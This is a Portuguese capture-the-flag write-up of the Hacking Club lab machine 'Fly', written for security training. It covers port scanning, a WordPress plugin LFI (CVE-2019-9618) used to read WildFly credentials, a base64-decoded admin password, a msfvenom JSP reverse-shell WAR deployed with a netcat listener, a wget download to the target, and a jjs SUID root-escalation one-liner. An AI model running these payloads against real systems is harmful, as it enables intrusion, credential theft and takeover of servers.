Você está na página 1de 17

Write-Up - Fly

Write-up fly

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não sabe por onde
começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas habilidades e acesso a uma
comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar
uma ferramenta chamada nmap.

Ports:

Write-Up - Fly 1
Porta 22 - SSH

Porta 80 - HTTP

Porta 8080 - HTTP-PROXY ?

Porta 8443 - SSL/HTTPS-ALT?

Porta 9990 - OSM-APPSRVR

Site porta 80:

Write-Up - Fly 2
Olhando o código fonte da página:

Write-Up - Fly 3
Vamos começar adicionando o fly.uhclabs ao nosso arquivo /etc/hosts

Para isso, temos que mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo host, conforme
ilustrado na imagem a seguir:

sudo nano /etc/hosts

Abrindo o site novamente:

Porta 8080:

Write-Up - Fly 4
Wildfly, também conhecido como JBoss, é um servidor de aplicação Java EE desenvolvido em Java e pode ser executado
em qualquer Sistema Operacional, 32 ou 64 bits que tenha suporte ao Java.

Clicando em Administration Console, temos o WildFly Admin Console, também conhecido como WildFly Management
Console rodando na porta 9990

Write-Up - Fly 5
Infelizmente não temos a senha 😐
Como vimos que na porta 80 está rodando um cms → Wordpress
Próximo passo é rodar o Wpscan.

WPScan é um software de teste de caixa-preta para escanear possíveis vulnerabilidades em instalações WordPress e seus
complementos

Wpscan

https://github.com/wpscanteam/wpscan

- -plugins-detection aggressive = por padrão ele usa no modo passivo

-e ap = all plugins

- -api-token = usa a API do banco de dados de vulnerabilidade do WordPress para recuperar dados de vulnerabilidade
do WordPress em tempo real

-t = threads

Você pode pegar sua api-token se registrando no site abaixo:

WPScan: WordPress Security


The WPScan Vulnerability Database API is provided for users and developers to make use of our database within their own software.
https://wpscan.com/api

Podemos então executar o wpscan:

wpscan --url http://fly.uhclabs -e ap --plugins-detection aggressive --api-token <API> -t 30

Write-Up - Fly 6
Vulnerabilidade no plugin GraceMedia Player 1.0
A vulnerabilidade existe devido a um erro de validação de entrada ao processar sequências de passagem de diretório
passadas por meio do parâmetro cfg.
O parâmetro "cfg" não é higienizado permitindo incluir arquivos locais (LFI)

CVE:2019-9618
https://www.exploit-db.com/exploits/46537
De acordo com o site exploit-db.com o caminho com o parâmetro vulnerável é:
/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?
ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

Write-Up - Fly 7
Então iremos testar:

Temos LFI , agora irei ler os arquivos de configuração do Wildfly , para ver se encontramos o login do Admin console que está
rodando na porta 9990.

https://docs.wildfly.org/17/Admin_Guide.html
Lendo a documentação do wildfly, descubro que o arquivo mgmt-users.properties mostra os detalhes de configuração do
usuário, como nome de usuário, senha etc.

De acordo com os resultados do nmap, aparentemente o sistema operacional é Ubuntu,

então irei procurar um guia de instalação do wildfly no Ubuntu.


E acabei encontrando esse site com um guia de instalação, e como eu pude ver, o Wildfly é instalado no diretório /opt
https://websiteforstudents.com/how-to-install-wildfly-on-ubuntu-20-04-18-04/]

O arquivo mgmt-users.properties está em /opt/wildfly/standalone/configuration/


Lendo o arquivo:

http://fly.uhclabs.com/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../.

Aqui encontramos a nossa primeira flag e a senha do user admin, mas a senha está encodado em base64, então iremos
decodificar.

#<secret value="TUBzdDNyUjAwdFBAc3N3MHJkITsu" />

Write-Up - Fly 8
echo "TUBzdDNyUjAwdFBAc3N3MHJkITsu" | base64 -d

M@st3rR00tP@ssw0rd!;.

Temos o username que é admin e a senha, agora iremos logar no Admin Console do wildfly

Próximo passo agora será fazer um deploy de uma reverse shell.


.

Gere um .war que contém sua carga útil:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT= <your-port> -f war > shell.war

Write-Up - Fly 9
Deployment

Add deployment

Write-Up - Fly 10
Obs: Deixar em OFF

Explode

Write-Up - Fly 11
Agora → Enable

Write-Up - Fly 12
Agora usarei o Netcat para ficar ouvindo em uma porta para nós recebermos a conexão

reversa.

nc -lvp 4444

Agora vá até http://fly.uhclabs.com:8080/shell

Write-Up - Fly 13
E recebemos a conexão 😀

Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python3 -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

2º Flag:
Depois de pegar reverse shell no servidor, não encontrei a segunda flag, e para encontra-la usei uma ferramenta → ripgrep.

https://github.com/BurntSushi/ripgrep
ripgrep é uma ferramenta de pesquisa orientada por linha que pesquisa recursivamente no diretório atual por um padrão
regex. Por padrão, o ripgrep respeitará as regras do gitignore e pulará automaticamente os arquivos / diretórios ocultos e os
arquivos binários. ripgrep tem suporte de primeira classe em Windows, macOS e Linux, com downloads binários disponíveis
para cada versão . ripgrep é semelhante a outras ferramentas de pesquisa populares como The Silver Searcher, ack e grep.
Então vamos lá, depois de baixar a ferramenta na minha máquina, eu a enviarei para o servidor.

sudo python -m SimpleHTTPServer 80

No servidor:

Write-Up - Fly 14
wildfly@ip-172-31-17-152:/$ cd /dev/shm

wildfly@ip-172-31-17-152:/dev/shm$ wget 10.10.14.3/rg

wildfly@ip-172-31-17-152:/dev/shm$ chmod +x rg

O comando que utilizarei será o seguinte:

./rg -e 'uhc\{' / 2>/dev/null

E com isso consigo pegar a segunda flag, que estava dentro do arquivo /etc/wildfly/wildfly-old.conf

Root:
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
LinPEAS é um script que procura caminhos possíveis para escalar privilégios em hosts Linux / Unix *

/ MacOS. As verificações são explicadas em https://book.hacktricks.xyz/linux-unix/privilege-escalation

Aqui pularei todo o passo a passo de baixar o LinPEAS para nossa máquina e depois a enviar para o servidor.
Rodando o LinPEAS no servidor:

Write-Up - Fly 15
Durante o PenTest, quando você encontrar qualquer arquivo SUID interessante com /usr/lib/jvm/java-11-openjdk-
amd64/bin/jjs(ao executar o LinPEAS ou qualquer outro script para escalar privilégios), aqui está o rápido exploit que permitirá
que você obtenha acesso root por meio de escalonamento de privilégios. Então, siga GTFobins - JJS Exploit .

Rodando o comando como demonstra no site, conseguimos escalar privilégios =)

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()"

Agora basta ler a última flag =)

Write-Up - Fly 16
Write-Up - Fly 17

Você também pode gostar